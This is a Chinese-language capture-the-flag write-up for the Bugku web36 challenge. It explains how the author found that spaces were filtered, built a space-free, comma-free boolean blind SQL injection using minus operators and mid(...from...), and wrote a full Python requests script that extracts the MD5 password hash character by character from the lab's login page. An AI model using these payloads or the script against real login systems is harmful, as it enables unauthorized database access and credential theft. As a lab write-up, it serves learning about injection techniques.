BUGKU WEB36

这关可以说的东西还挺多,涉及盲注,以及有关数据库一些数据转化,还有盲注脚本的编写,所以单独拿出来讲一下。

收集信息

打开页面后,发现只有一个登录框,想的就是SQL注入,在尝试了几种写法,以及利用sqlmap跑后,没啥收获,因为不知道过滤了什么,接下来扫了一下URL,看看有没有后台可以提供其他信息扫到了一个image,打开以后,得到这张图片,感觉还是要SQL注入
‘-(mid((passwd)from(-1))=’t’)-‘

img

fuzz测试过滤内容

利用burp进行fuzz测试看一下都有哪些字符被过滤了
一开始的时候构造了一个admin'+ 1'1去跑字典,替换的是那个+号发现不管什么字符都被过滤了的样子,然后想了一下,会不会是空格被过滤了呀??,然后使用了admin’ 1’1 果然是这样,单引号没被过滤,但是空格被过滤了,接下来在用空格跑一遍字典试试

发现还是有一些没过滤的,比如说ascii select mid ,还有一些字符,而且,提示的那些字符是没过滤的,解题方向大概率就是盲注了,应该就是要编写脚本,那么我们知道编写脚本,需要知道条件,构造语句等等,所以继续构造SQL注入探索看看
img

利用现有字符构造注入语句

在继续SQL注入的时候发现,如果闭合引号,有两种不同情况:
1.一种是img
2.另一种是img

意味着什么呢:
password意味着不存在该账号
username意味着存在该账号
为什么呢?继续看下面

这里查找了一下网上大神们的write up,发现这里闭合引号的方式使用减号闭合的,其实不是很能理解为啥?
等找到答复再回来补吧
问完学长以后发现是这样的:
其实那个减号起的不是闭合作用,我们闭合就是用单引号闭合了,总结下来就是两点:
1.后面的负号起的不是闭合引号的作用,而是以运算为媒介的连接作用
2.为什么需要这个负号,是因为如果缺少这个负号,我们想输入的查询整体就会被分割
3.那其实就是说这个负号可以更换任意其他的运算符

总而言之,这里的payload,可以暂时写为:

1
admin'-0-'

我在使用img

这里需要引入一个知识点:

就是上面这个username=0,所有数据都出来的原因,因为这个里的username定义为字符串,当遇到int类型的数据的时候,字符串会自动转化为int类型和这个0去匹配,而转化为int类型以后的数据为0所以,所有为都为字符组成的字符串就都和这个0匹配,所以全都罗列出来了
参考:https://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-column-is-v
https://blog.csdn.net/HaHa_Sir/article/details/93666147

SQL注入语句构造

接下来就是构造盲注语句,这里我们需要考虑,想要获取的时候什么
根据上面那张图片给的提示,大概语句是(mid((字段名)from(i)))=’j;
这个时候问题来了,字段名是啥,看了一下网上大神说的,根据表单提交的是passwd所以猜测是passwd,这个和数据库中的字段名是不一样的,就是猜测,接下来就是脚本的编写了,

首先是mid()函数:
mid(‘对象’,开始位置(从1开始),长度);
但是在这题中,逗号也被过滤了,所以这样写是行不通的,根据提示,我们需要利用from:
img

img 构建以下payload,如果mid为真则为1,那么admin-1就不为0,那么就不会查询得出
1
admin'-(mid((passwd)from(-1))>'0')-'

在这里,如果mid这里为真则为1,我们知道admin’-1-‘在数据库查询为空,即为username wrong,反之同理

参考:https://xz.aliyun.com/t/2583
接下来是写post类型的脚本:

直接贴出来吧

这里有必要说几个细节
1.网页的URL有两个 一个index.php,就是框框那边,另一个是login.php,这个才是回显的页面,所以你要发送post到这个页面去
2.这里我用了两次逆序,因为mid只能从后面截取,所以用了切片法进行逆序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
s=requests.session()
url = "http://114.67.246.176:11969/login.php"
headers = {'Cookie': 'PHPSESSID=34kfhvoilevqk4p779t36qc2j5'}
password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload =f"admin'-(mid((passwd)from(-{i}))='{j}{password}')-'"
print(payload)
data = {'uname': payload,'passwd': 'sky'}
# print(s.post(url,data=data).text)
if 'username error!!' in s.post(url=url,data=data,headers=headers).text:
#print(s.post(url,data=data).text)
strA = password
password = strA[::-1]
print(password)#可不用,是用来调试的
password += j
strA = password
password = strA[::-1]
print(password)
break

得到结果以后发现是md5加密,拿去解密,得到bugkuctf,然后登陆一下,他说

img 这边说要ls命令?查了一下其实可以用catLinux cat命令

cat命令:命令用于连接文件并打印到标准输出设备上。

cat>/filename
https://www.runoob.com/linux/linux-comm-cat.html
http://blog.sina.com.cn/s/blog_52f6ead0010127xm.html

小结:

感觉从这关学到了挺多东西的:
1.对于盲注的理解更深了,比如如何去构造闭合语句
2.mysql一些更基础的东西
3.脚本的编写也更加得心应手了,因为其实模板都一样
4.信息收集的重要性——盲注语句的编写,,过滤了什么
5.一些细节要注意哇!!!

Author

vague huang

Posted on

2021-02-01

Updated on

2021-02-03

Licensed under

Comments